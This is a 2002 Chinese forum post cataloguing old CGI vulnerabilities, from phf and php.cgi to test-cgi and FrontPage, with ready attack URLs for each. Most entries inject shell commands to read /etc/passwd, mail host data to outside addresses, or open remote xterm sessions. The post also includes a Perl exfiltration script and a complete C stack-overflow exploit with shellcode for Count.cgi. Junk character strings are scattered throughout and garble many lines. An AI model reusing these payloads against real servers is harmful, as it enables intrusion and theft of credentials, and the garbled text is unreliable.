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CGI漏洞

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发表于 2002-2-10 17:00:18 |山东| 显示全部楼层 |阅读模式
对于下面列出的CGI漏洞,简单的讲,可以通过直接删除程序或者改写程序来达到安全的目. G: a3 T* N# k+ ], J

9 h' U+ S. l' N一.phf漏洞
9 M& U# U9 j/ W# u/ ^这个phf漏洞好象是最经典了,几乎所有的文章都会介绍,可以执行服务器的命令,如显示
) l. L8 z# P) c- F" @: Y" p8 |/etc/passwd:
' U- J3 _6 Y# s; l; Clynx http://www.victim.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
9 i. r0 c/ W" s; Y但是我们还能找到它吗?
& _, g$ w; L* w2 l3 ^二.php.cgi 2.0beta10或更早版本的漏洞
- m/ e  x+ b' V& S! X; z0 z3 d! D可以读nobody权限的所有文件.
* n% e) Y8 Q; clynx http://www.victim.com/cgi-bin/php.cgi?/etc/passwd+ n! p" S% K- o- d. c  a! s9 f1 k
php.cgi 2.1版本的只能读shtml文件了. 对于密码文件,同志们要注意一下,也许可能在8 U5 G9 s& I0 t. j& |
/etc/master.passwd5 H9 v& y$ c+ b0 C% M
/etc/security/passwd等.
6 B2 k" Q+ q3 ?三.whois_raw.cgi; `! A  W8 L3 r% `
lynx http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd0 Q/ Q2 F) S0 F2 e4 V
lynx http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xter
6 g8 i: q8 r  Im%20-display%20graziella.lame.org:0
9 o: d. o4 z, A四.faxsurvey: B2 e9 d& t3 G5 v6 O5 X
lynx http://www.victim.com/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd3 e; h- R% R7 H* n0 J7 W
五.textcounter.pl
* ~6 n* s' d4 ^如果服务器上有textcounter.pl,所有人可以以http守护进程的权限执行命令.
# \" w' ]8 n8 B0 `& `1 l& @0 E7 G#!/usr/bin/perl
+ ]+ s- m' `9 \% }$URL='http://dtp.kappa.ro/a/test.shtml'; # please _DO_ _modify_ this' ?; c! g, E, A8 [1 I
$EMAIL='pdoru@pop3.kappa.ro,root'; # please _DO_ _modify_ this6 f3 ^+ J' K9 h! e1 B
if ($ARGV[0]) { $CMD=$ARGV[0];}else{
1 `0 X( w' u% u0 `- M) r$CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothe& c) T; r* `( Y  x5 ]% f/ t% C1 x
re_one";
) ~, S3 o& a$ H# q1 I% V}$text="${URL}/;IFS=\8;${CMD};echo|";$text =~ s/ /\$\{IFS\}/g;#print "$text\
3 q$ O) g: [% ]8 z2 f) }n";! a' Y6 c. S& }& a$ c, b
system({"wget"} "wget", $text, "-O/dev/null");* T; n0 O$ ~7 x
system({"wget"} "wget", $text, "-O/dev/null");3 d5 ]( W! R' _% N9 r
#system({"lynx"} "lynx", $text); #如果没有wget命令也可以用lynx
+ ?" {6 A. u, U0 ^; C4 L#system({"lynx"} "lynx", $text);; g% ~$ A" y1 q: W3 {
六.一些版本(1.1)的info2www的漏洞7 Q- v8 f! `- N! C- u
$ REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail jami asswd|)'
. g5 D1 s# u- v! t1 m0 k$
1 J, N( z2 c! f2 EYou have new mail.1 M& i( J8 \9 a4 c/ _1 E' S/ i1 }/ ]
$5 H( a5 ]/ f. V4 ]9 Q* c
说实在我不太明白.:(
0 k+ [. S1 \9 X. s0 Y  H8 `七.pfdispaly.cgi
# k8 O4 R1 I! A3 `! x! {7 [# llynx -source \& Q; f2 @) D2 R0 e7 a6 `- L  D
'http://www.victim.com/cgi-bin/pfdispaly.cgi?/../../../../etc/motd'
( Q3 H8 T3 n+ |) `$ ^% Spfdisplay.cgi还有另外一个漏洞可以执行命令: o! w7 o& Q! J; C) ~0 t' n
lynx -dump http://www.victim.com/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|'
% Z' a$ _$ ~$ z; g# Lor  ~) C# h- W9 ]
lynx -dump \
7 L) e) s2 x4 N8 r. M% t% Nhttp://victim/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evi
- D+ V6 A$ P( m* B6 O: j/ Sl:0.0|'
* i' ~% O& W! Q% ]& X! D八.wrap
; E5 Z7 m- E6 q6 Q7 s' i0 W6 slynx http://www.victim.com/cgi-bin/wrap?/../../../../../etc9 m+ |# o- l8 m0 ]3 ^4 c, w
九.www-sql2 U/ s  @% q9 R% p1 q- I+ `! _7 O; Z' w
可以让你读一些受限制的页面如:
: W: G4 T1 K. `4 t* {$ J在你的浏览器里输入:http://your.server/protected/something.html:
2 R4 ~! g% ]  K, X# o被要求输入帐号和口令.而有www-sql就不必了:
* S* K8 N6 Z4 V- ghttp://your.server/cgi-bin/www-sql/protected/something.html:1 {) E6 B. z) c" `8 u" s
十.view-source# q3 Y) Z. I5 p+ q% z
lynx http://www.victim.com/cgi-bin/view-source?../../../../../../../etc/pass
( D0 n  z% J2 ]8 C; Zwd
* Q* k' s2 N+ f' i9 f十一.campas
6 M; P( U0 `5 k, R% flynx http://www.victim.com/cgi-bin/campas?%0acat%0a/etc/passwd%0a0 r* x2 v! w# w* L8 F- d! G
十二.webgais1 f) C7 }# s/ g" a; [
telnet www.victim.com 80
  e: V5 k* s% {4 ]% lPOST /cgi-bin/webgais HTTP/1.09 d4 ~  S) Y$ X" r/ N: d2 V
Content-length: 85 (replace this with the actual length of the "exploit"line
" m% O2 Z8 `; a* |8 D2 S) X( L)- I6 q  ?- g; v! i, ~6 H
query=';mail+drazvan\@pop3.kappa.roparagraph* [+ j* t  w) B3 L" D' Z! @& z/ ]
十三.websendmail6 M7 t8 J( n7 m$ U8 Y" `+ U
telnet www.victim.com 80
* @% u0 h) W3 b8 zPOST /cgi-bin/websendmail HTTP/1.0, q$ }+ O# X3 N! G/ c
Content-length: xxx (should be replaced with the actual length of the
# M. @' ?  j3 C3 z7 u6 vstring passed to the server, in this case xxx=90)0 }+ v9 x- i0 c6 o8 S7 r
receiver=;mail+your_address\@somewhere.orgubject=a&content=a
# Z9 h3 m# j5 P) h+ s十四.handler7 t. Q* A' d1 L' n# I; K7 |. B
telnet www.victim.com 80
7 w+ `  P: d" P5 P8 |/ AGET /cgi-bin/handler/useless_shit;cat /etc/passwd|?data=DownloadHTTP/1.0* H# f/ a( Q* i- }- Q
or
- H; \% J- w8 PGET /cgi-bin/handler/blah;xwsh -display yourhost.com|?data=Download% b5 z6 Y0 S7 e! r$ E8 L% o
or9 ^: W7 O( N/ M) d/ B8 q
GET /cgi-bin/handler/;xterm-displaydanish:0-e/bin/s
- G. @3 S4 y# y5 j$ qh|?data=Download% x) z& F2 W% C
注意,cat后是TAB键而不是空格,服务器会报告不能打开useless_shit,但仍旧执行下面命! T  Q5 R/ R+ U: c
令.
4 d5 O+ Q1 d! Z1 e' N: P, o! W十五.test-cgi
1 H4 n' `+ U5 V: ]lynx http://www.victim.com/cgi-bin/test-cgi?\whatever
3 m& j2 |" @! w! z' @5 y" oCGI/1.0 test script report:" t( S6 y/ r1 v( t* x
argc is 0. argv is .' G# e# `; R1 H2 c; h
SERVER_SOFTWARE = NCSA/1.4B
$ T" S; ]6 K9 f1 c% y) xSERVER_NAME = victim.com
* m) j, T" ^7 N$ h) r5 v6 UGATEWAY_INTERFACE = CGI/1.1
( @  H0 r; ]0 ?- BSERVER_PROTOCOL = HTTP/1.0
0 ^8 t3 y% O* {: NSERVER_PORT = 80( D' k6 t: r, ~! o7 M* k
REQUEST_METHOD = GET
! g6 w! b' t3 f: Z! U: zHTTP_ACCEPT = text/plain, application/x-html, application/html,/ z1 @: y! u1 d: ~
text/html, text/x-html( ]2 K% j7 I8 z9 |" K7 r' I
PATH_INFO =
, B: X9 u5 R: k$ Y" rPATH_TRANSLATED =
( K6 d$ ~3 k& y+ A9 [" c+ SSCRIPT_NAME = /cgi-bin/test-cgi
6 M8 b, V) M9 g$ ^  m& ~- gQUERY_STRING = whatever: I3 S! ~9 ^7 b. ~- H# l; O& {
REMOTE_HOST = fifth.column.gov5 l( {# y9 P& v+ U
REMOTE_ADDR = 200.200.200.200
# |, B: i; M# ?4 J" l7 c! sREMOTE_USER =
" n3 B2 l; \$ e# f9 p9 WAUTH_TYPE =
; @8 K8 z/ h" B; ^9 eCONTENT_TYPE =
  I# {2 K+ @; J& X3 a: r/ }0 @3 W! ?CONTENT_LENGTH =
! [3 t2 K  f, A" `* ^得到一些http的目录9 i" S0 B8 |9 h" J5 `/ C3 K
lynx http://www.victim.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
4 {2 H: L$ @+ R6 j这招好象并不管用.:(! @; W- ~' c7 @  e/ d! N8 c
lynx http://www.victim.com/cgi-bin/nph-test-cgi?/** I. w9 k5 ]9 n' P) b
还可以这样试
; u* s. p+ _# c9 YGET /cgi-bin/test-cgi?* HTTP/1.0
$ |/ X! w+ d# k6 v. D: C7 QGET /cgi-bin/test-cgi?x *% q( ~! m* T4 z/ ]0 Q5 o
GET /cgi-bin/nph-test-cgi?* HTTP/1.0
  J4 N  ?5 A5 S, K8 n7 nGET /cgi-bin/nph-test-cgi?x *
0 K9 f6 }  |; c7 PGET /cgi-bin/test-cgi?x HTTP/1.0 *' x6 [6 |$ z8 }' p( I$ i% ~! g
GET /cgi-bin/nph-test-cgi?x HTTP/1.0 *
# z4 F3 G0 L* J. z# d2 Z: K十六.对于某些BSD的apache可以:! n. D( E, Y6 \
lynx http://www.victim.com/root/etc/passwd9 A) W5 ?( o0 L1 @- u! Z5 L
lynx http://www.victim.com/~root/etc/passwd% J+ F: i5 i( |) E; a- j! B, l5 J
十七.htmlscript6 b! O+ F( U! f) f8 ~3 w. Q! I' s) X  p
lynx http://www.victim.com/cgi-bin/htmlscript?../../../../etc/passwd
4 w7 w0 X& W6 O0 w* i; V1 A十八.jj.c5 D  |8 T. s' w+ k/ X) \
The demo cgi program jj.c calls /bin/mail without filtering user5 l# e. d% j5 E4 p, ?
input, so any program based on jj.c could potentially be exploited by
  |6 [! O" B; R& D6 w7 Rsimply adding a followed by a Unix command. It may require a/ S1 q2 w+ G2 H7 `' _: D3 L
password, but two known passwords include HTTPdrocks and SDGROCKS. If
/ C9 y0 N% o7 i5 Vyou can retrieve a copy of the compiled program running strings on it
0 A: _. x$ \1 V! i( X% {2 u3 twill probably reveil the password.
4 U/ K" l! ?, Z9 D, z: sDo a web search on jj.c to get a copy and study the code yourself if
$ M; P6 Y4 ~; Gyou have more questions.. r) I: m2 ]$ e. P: g7 k  p: c
十九.Frontpage extensions: X$ \( c1 j) u
如果你读http://www.victim.com/_vti_inf.html你将得到FP extensions的版本0 J+ p' e$ E; W+ W7 w* v
和它在服务器上的路径. 还有一些密码文件如:
) z/ d& t& w1 ^' Xhttp://www.victim.com/_vti_pvt/service.pwd, U4 ^4 {& X( ?: M* `4 m+ ~
http://www.victim.com/_vti_pvt/users.pwd
( U9 O+ C3 i& x. g( k2 bhttp://www.victim.com/_vti_pvt/authors.pwd% R+ a7 n, h1 l. s4 M/ Z
http://www.victim.com/_vti_pvt/administrators.pwd
% S8 a0 Z3 ]4 [4 I# c二十.Freestats.com CGI, f, A  J- d7 @- X
没有碰到过,觉的有些地方不能搞错,所以直接贴英文.& E7 R7 h  G1 g) Q3 t+ k0 b+ _
John Carlton found following. He developed an exploit for the3 m1 ^$ W" x. j7 W6 Q4 r
free web stats services offered at freestats.com, and supplied the( y" V; L4 u: y1 h& g; N. K- e
webmaster with proper code to patch the bug.3 I# _1 S+ M; }4 D0 B( T2 J) V6 I4 V
Start an account with freestats.com, and log in. Click on the
! k  g: @% f" ]6 N! F$ C, w$ Yarea that says "CLICK HERE TO EDIT YOUR USER PROFILE & COUNTER
( ]8 K3 c& X2 d4 EINFO" This will call up a file called edit.pl with your user #* r9 ?' i6 q1 |" ~8 C: j
and password included in it. Save this file to your hard disk and
; H5 R7 [; e( q2 r( F7 j/ T, xopen it with notepad. The only form of security in this is a  {" i1 R2 \/ V5 e0 A5 r
hidden attribute on the form element of your account number.  l/ n, f9 {9 T4 R" H' R# m
Change this from
' _0 P/ m& Z" M; e! a: v" i- [*input type=hidden name=account value=your#*
9 w, @  r  ^9 G! @( y8 I2 [* nto
4 X; J: y2 f- v  o. i+ X9 l*input type=text name=account value=""*2 J) v8 F4 v! N) A$ j
Save your page and load it into your browser. Their will now be a
/ G$ G6 E2 C8 F% F' Vtext input box where the hidden element was before. Simply type a
# w! v0 S3 g' s9 m# in and push the "click here to update user profile" and all the
! f. P4 x+ O7 E& U% h# j5 _information that appears on your screen has now been written to: Z' z; Y: y3 T
that user profile.. _$ V8 T" F9 p, X; ?
But that isn't the worst of it. By using frames (2 frames, one to
# L$ k7 U! q# s( \5 i5 y. }$ ?- rhold this page you just made, and one as a target for the form  C% h6 A/ E# C  ^" I6 M
submission) you could change the password on all of their accounts' R$ }* k' z! s6 M; G* ]  a3 X
with a simple JavaScript function.
( ]4 o1 T/ \" p# C4 PDeep inside the web site authors still have the good old "edit.pl"
% @- }& v( v4 m# k! Lscript. It takes some time to reach it (unlike the path described)
& D! S' L' _$ }- N+ X/ {but you can reach it directly at:6 X  Y. V8 c- Z
http://www.sitetracker.com/cgi-bin/edit.pl?account=&password=6 ~, Q8 s$ W' }: A
二十一.Vulnerability in Glimpse HTTP
5 Q9 ?( Y: V7 v- D) Dtelnet target.machine.com 80
. X9 Z% T5 @' `- X8 _7 U4 d1 \% BGET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5fyodor\@dhp.com\MD;echo! o% h% }) ^: a& q+ Y1 u
HTTP/1.04 |# m, U) R' ^: ?' c5 y$ [8 J) V
二十二.Count.cgi
( I- h2 j: p; N& w该程序只对Count.cgi 24以下版本有效:" D9 _) y) ?8 q
/*### count.c ########################################################*/
" ?+ o2 t7 ?+ \: b  W  V9 G& \#include- B/ o6 i2 B  S) l4 c- h
#include
8 ~2 Y3 }' Q- R6 B#include
2 S3 r( m1 X' ]: }9 b9 V6 x0 Y  e" f#include( {6 f$ H  J' {. q) |+ E% f
#include) O/ Q: u! }; C- g. }
#include
! w# n& C) K3 n( \- L. J3 p/ o#include5 m% q; Y3 n4 E- C& U6 r6 d' S
#include1 k" {( k2 ^! |5 W# q
#include
& k, S- W( y2 X" J4 a1 O/* Forwards */
5 o2 z- e# y( ?! P3 @2 Kunsigned long getsp(int);
& w1 t# j  c7 C, fint usage(char *);) U; R4 e  z/ @9 c- X! |( O2 g2 ^
void doit(char *,long, char *);' ~4 d: |' b/ r2 v
/* Constants */) Y5 C. L$ ?7 t
char shell[]=
( o- w+ B6 i2 L$ Z+ {% i"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
* p1 j- N' C, e, C8 y"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
& p2 `5 k9 s# m! C"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  z. }: p2 h- S"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/ _6 P( [( @$ S"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
% w1 y. O8 x+ `3 \( p"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"$ N  Y2 g% r( t5 j
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
: p  J% M+ O' Y! w0 k7 ]"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"4 Q0 ?& |* [; E  b: |
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
: {0 G9 s0 {* D4 ]2 E, J"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; q$ W: k' p" j1 G/ M3 Y9 G
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"$ a; S' s0 B# x
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"0 Y. P% {) R* a4 n$ }, `
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/ h: D& `2 B  j5 j"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
' d5 F. l5 ~2 x# i, p. q: @  D2 c"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". B6 C% m5 D4 ]1 ]/ K: e- R
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- m8 v4 p& ]1 I4 `- T  V"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
+ d  \+ l. i' c8 I1 ^"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
& i; C( k2 P' `3 f. j$ ?"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; v* J0 A2 R6 G! Z! ~: y
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"3 ~1 V" W3 D& [6 ]; o, e) s4 ?
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
8 i5 ?& {5 }4 ]) `: k"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
$ Z& p; ?- n0 {+ H; y5 Y"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
4 z: F. m( b% {) T"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
; S2 B3 E, m+ v5 J/ B"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"- q  s1 q3 c# H3 e
"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
; H0 f& \$ }, n8 P% n; {* N& z"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff". O$ M- Y; P5 z9 g/ w8 y
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff") H6 I* c" \+ I0 |. C* ?
"/usr/X11R6/bin/xterm0-ut0-display0";( C: R; V2 ]: @
char endpad[]=8 w# X5 t/ M8 h6 C4 k) @
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"% x4 E, w8 e. k2 [( }
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";% q4 b1 \( w& Y8 Q+ @
int main (int argc, char *argv[]){
' k& V+ s# n- _. xchar *shellcode = NULL;
2 j9 y+ M6 _7 D# f6 B% `7 Jint cnt,ver,retcount, dispnum,dotquads[4],offset;
. c% ?0 O9 j# F6 a: J9 q. Munsigned long sp;
: J5 e8 m. z& @8 f) y! H) Jchar dispname[255];
/ K- Z7 \; S$ Cchar *host;/ B4 L9 H! D, g
offset = sp = cnt = ver = 0;
; a' u* o$ D* Q, D6 f: Zfprintf(stderr,"\t%s - Gus\n",argv[0]);, O9 @# N7 J0 Q( d. e1 {7 N+ u) W
if (argc<3) usage(argv[0]);2 `" Z* k' g7 I* L* `3 }
while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) {
6 i6 f, E3 H* a+ W  _# t' Jswitch(cnt){9 L% }2 i. M! ^  V' N: ]
case 'h':
8 [: ^4 G' G: L4 n- ?0 n* Whost = optarg;! a& A2 j* ]$ J. Y2 z
break;5 j& W# v- g. \: Q- M2 c; b; l
case 'd':# K/ \+ A0 R( f) w: ?  U
{6 I& r6 g& y0 O7 J( w/ Y& T) |
retcount = sscanf(optarg, "%d.%d.%d.%d:%d",
" W  e3 R/ o: Z& t, D# C1 y&dotquads[0],& v- D5 v+ b8 ~) S8 @2 q  O. }
&dotquads[1],+ c$ l% P& b3 b% i. D/ U% G
&dotquads[2],; f4 B; E( O( {  ~
&dotquads[3], &dispnum);
* r: ^9 O$ Q4 ]/ S3 lif (retcount != 5) usage(argv[0]);' i' j+ i$ p" ~# Q) C
sprintf(dispname, "%03d.%03d.%03d.%03d:%01d",% I7 L, q& b. z' p( ~5 K: {6 h; j
dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);. p/ U1 K8 O: c+ U- ~7 B& S
shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
, B, |" F; [1 E$ h4 r: _# ksprintf(shellcode,"%s%s%s",shell,dispname,endpad);
$ b$ F0 Q* s/ ?  C3 j}
2 L- y5 d+ u+ A7 E( i1 D* \break;
& S: @1 ^- Q! u, M1 Dcase 'v':: y, m4 p" t: J* ^5 `' {9 @
ver = atoi(optarg);: f6 p: t( Z+ c
break;
7 l  H0 l; o( [" a- J# _; Dcase 'o':
3 _. g- n3 @4 o- z% |$ o$ Woffset = atoi(optarg);
3 T* ~5 a6 g5 }break;
, r" S; l$ t: ]# `. s+ q! ~default:: r. c# K' n( }& ~# s% U# z1 F
usage(argv[0]);
6 t# o2 {, p9 t% Y  t% ybreak;
' X8 w: s* P  ?! V}
7 F% z: f* P8 X9 Q* \}
1 t3 I+ m& Q# F4 |& D: dsp = offset + getsp(ver);
8 \2 G1 @5 s0 w5 }" S2 A(void)doit(host,sp,shellcode);8 d% e: e, \0 r$ L8 R0 ^% |
exit(0);$ p1 M6 U# q( q  Q, J5 z
}
# I# @8 h7 Y0 Q; {* cunsigned long getsp(int ver) {6 D9 T' n; f6 W% n* b# T* T; ?" I
/* Get the stack pointer we should be using. YMMV. If it does not work,
  u, O7 u( x3 L! l1 w8 h$ V  Q& Ptry using -o X, where x is between -1500 and 1500 *// M; {& B! u# ]) I' `7 j
unsigned long sp=0;* D$ y0 W7 w! F% d, Z
if (ver == 15) sp = 0xbfffea50;
# ?5 V9 b) h6 w/ w% hif (ver == 20) sp = 0xbfffea50;
" c3 ^  E" s( _, s9 zif (ver == 22) sp = 0xbfffeab4;. w; K! i/ G# Q, P
if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */
- W0 m* {* H' c  Lif (sp == 0) {7 G7 @3 D( w: o( g& N1 {. s, H
fprintf(stderr,"I don't have an sp for that version try using the -o option.
0 w1 Z" s) E& \* ^) }" w, K, K\n");) N3 K4 o: }4 C  i: T4 ?2 [+ k
fprintf(stderr,"Versions above 24 are patched for this bug.\n");
% z$ y2 F6 U- j) L# Xexit(1);
0 C+ d$ _. }" ?3 K, G- ?} else {
" |% o& B* U3 }* J/ k% O* Kreturn sp;; ?; H0 @9 P. C6 w; A; e, [4 ?
}
6 S: H5 m: ~0 {) s, }: ]  V2 @( k/ Y" W}8 u) T5 [+ [3 X  }: V" h
int usage (char *name) {
  T% R- _4 V' Y3 gfprintf(stderr,"\tUsage:%s -h host -d  -v  [-o ]\n
6 Z+ z/ E- W( A",name);
+ Z, J, k, A7 A6 a  u/ N0 bfprintf(stderr,"\te.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22\n",name);! L8 w  w( D& v/ r
exit(1);- V4 z' `9 B: u, f
}
; L, F; [7 @/ B9 [. g: Yint openhost (char *host, int port) {6 y4 z, J: C; d* ~
int sock;' q: R4 d* k, g; v! Y3 i% g
struct hostent *he;
, q" S/ B3 L' a7 y2 U: N' O# Sstruct sockaddr_in sa;
" S0 g6 |- [2 A) v( Whe = gethostbyname(host);
# s/ t& s. W' T8 B# _3 N% S: h8 {if (he == NULL) {% @* I) {0 Q2 D. D! x/ g
perror("Bad hostname\n");( ~+ x' @; v  y  r7 K
exit(-1);+ y, D" y1 p" u0 v  l+ }
}$ S5 }/ }6 T2 R7 q
memcpy(&sa.sin_addr, he->h_addr, he->h_length);
7 u5 B8 W2 ?& f8 w& ~  lsa.sin_port=htons(port);
6 m% q& q, o& r" ~1 Q: g7 ksa.sin_family=AF_INET;5 s) c# [- P, u5 |) I3 d
sock=socket(AF_INET,SOCK_STREAM,0);) X7 u& X1 L+ p# L
if (sock < 0) {
- ~9 D' y) {: hperror ("cannot open socket");$ B3 D+ f- d. f5 Q8 ]
exit(-1);/ Q) V) c( u: v" y! r
}
2 Y, ~: b$ a1 q1 x* ]bzero(&sa.sin_zero,sizeof (sa.sin_zero));3 z7 n$ D1 N% ~1 g
if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) {
; q9 U3 J& E* K% b+ n# k' R9 Uperror("cannot connect to host");8 R1 S/ c: M& M0 W0 e7 X
exit(-1);' u; u" F6 e1 ^2 T
}
- Z7 a% r4 H% P: u% o, K; G2 Q* ^return(sock);8 I! k6 B+ Z3 j' B$ S
}! C8 ^' ^- ]- C1 Z. E6 p6 o
void doit (char *host,long sp, char *shellcode) {3 J! w. b, u, p/ K
int cnt,sock;: `! R/ _9 o; a2 J& m
char qs[7000];5 r* t1 K/ m4 V, U
int bufsize = 16;9 Y7 }5 `" I/ R
char buf[bufsize];
' j4 x8 ?' k( Y* n2 ~3 G. h; Xchar chain[] = "user=a";
& {3 j& `: V; w: `bzero(buf);
, |4 p3 x3 B2 f1 k+ X1 zfor(cnt=0;cnt<4104;cnt+=4) {
" z2 a$ x3 A* e  [, c9 Iqs[cnt+0] = sp & 0x000000ff;
- O* m& k  D1 Y! o; Xqs[cnt+1] = (sp & 0x0000ff00) >> 8;; w% }6 l: {' s% U
qs[cnt+2] = (sp & 0x00ff0000) >> 16;2 l" I& W$ Q/ D' n7 m2 }; d
qs[cnt+3] = (sp & 0xff000000) >> 24;
2 Z0 g) N! S$ w$ e& P0 k}
/ ^+ Q: R5 @( v; l% P$ rstrcpy(qs,chain);* B" x" C0 V6 [; b: L9 z  ~
qs[strlen(chain)]=0x90;
2 k/ [4 H9 |8 M/ a" S. ]qs[4104]= sp&0x000000ff;
8 o) G- k/ U' E% q: iqs[4105]=(sp&0x0000ff00)>>8;4 S0 S6 o$ C$ n# R  a; @6 V  X
qs[4106]=(sp&0x00ff0000)>>16;* ~! d% _" ]7 y! G  ?
qs[4107]=(sp&0xff000000)>>24;- b" J6 f( K1 R0 o/ g( _
qs[4108]= sp&0x000000ff;
9 Z2 N* t, N: c( |, mqs[4109]=(sp&0x0000ff00)>>8;
7 ]) W) U) x4 F- @! {- Y7 j( rqs[4110]=(sp&0x00ff0000)>>16;
) E0 J  }. m; Y+ o7 k2 m7 bqs[4111]=(sp&0xff000000)>>24;
: q9 Q5 r# F; B3 W& p8 Iqs[4112]= sp&0x000000ff;
0 x& i  N9 d: R2 E+ T! f/ x+ Mqs[4113]=(sp&0x0000ff00)>>8;3 P6 s9 U& c: z
qs[4114]=(sp&0x00ff0000)>>16;
6 e4 T4 b- n! ~/ f0 Q2 zqs[4115]=(sp&0xff000000)>>24;
- l0 W" b$ I. a! ~. N$ mqs[4116]= sp&0x000000ff;
; Q+ I( }$ T& d. K" J: B: ~qs[4117]=(sp&0x0000ff00)>>8;
4 T: G/ z/ m' t, fqs[4118]=(sp&0x00ff0000)>>16;
8 `1 N! w/ v3 W# hqs[4119]=(sp&0xff000000)>>24;' [% W3 o, G3 {. ^% i% ?
qs[4120]= sp&0x000000ff;5 e* |1 q' z1 a& o3 d4 k* ^
qs[4121]=(sp&0x0000ff00)>>8;
+ `/ p& ?) g% U: v( x& y2 Z9 eqs[4122]=(sp&0x00ff0000)>>16;1 J' e: _+ J1 v) R" P* |, Q. g
qs[4123]=(sp&0xff000000)>>24;7 E' d5 l3 u6 W
qs[4124]= sp&0x000000ff;
. o! n0 {, M. ^) A  h+ Aqs[4125]=(sp&0x0000ff00)>>8;" g5 B6 O9 w- e+ b3 x
qs[4126]=(sp&0x00ff0000)>>16;
- x1 i3 u! J% x) |2 z2 Y8 \qs[4127]=(sp&0xff000000)>>24;% ?- B# a4 _; A% r! K# [0 x% x
qs[4128]= sp&0x000000ff;
% ]4 B  z5 v( R" }: [) s( D; Bqs[4129]=(sp&0x0000ff00)>>8;9 Q' u* z% V8 y9 h
qs[4130]=(sp&0x00ff0000)>>16;& m- N* d+ |7 ~$ {. }
qs[4131]=(sp&0xff000000)>>24;
% P, t8 s5 l) H9 lstrcpy((char*)&qs[4132],shellcode);
' Q3 H5 o# i5 G7 b- r2 X5 _; H$ b) Hsock = openhost(host,80);
; d# C  c/ g+ Z; F* k, ^# O" Ewrite(sock,"GET /cgi-bin/Count.cgi?",23);2 ~6 G: v4 ~" I# e6 i
write(sock,qs,strlen(qs));
1 `; A* T7 N8 I! K" z/ S9 F; D: O, d% wwrite(sock," HTTP/1.0\n",10);
- T2 N- z, i% Q3 }write(sock,"User-Agent: ",12);
& P8 R; E, F) L9 Bwrite(sock,qs,strlen(qs));' x+ ?# x6 i( [2 x4 r9 H: j
write(sock,"\n\n",2);
; e& F$ N' [0 ]sleep(1);
" C$ x; j0 r% a3 w& e# i/* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",qs,qs); *9 M- A: ~+ u% k, z, i; {0 ~6 i$ Q
// V5 G7 r! K9 P
/*8 x. I0 ?- s% m" `6 H3 H
setenv("HTTP_USER_AGENT",qs,1);
$ u) d: n  F3 Osetenv("QUERY_STRING",qs,1);
% V( ^" n+ [5 r/ rsystem("./Count.cgi");
3 t  X1 |( k5 l" l( p*/
0 Q8 x' _( _: f9 @}
4 S8 i$ ]. O# q: Z& v; L% I. y用Count.cgi看图片
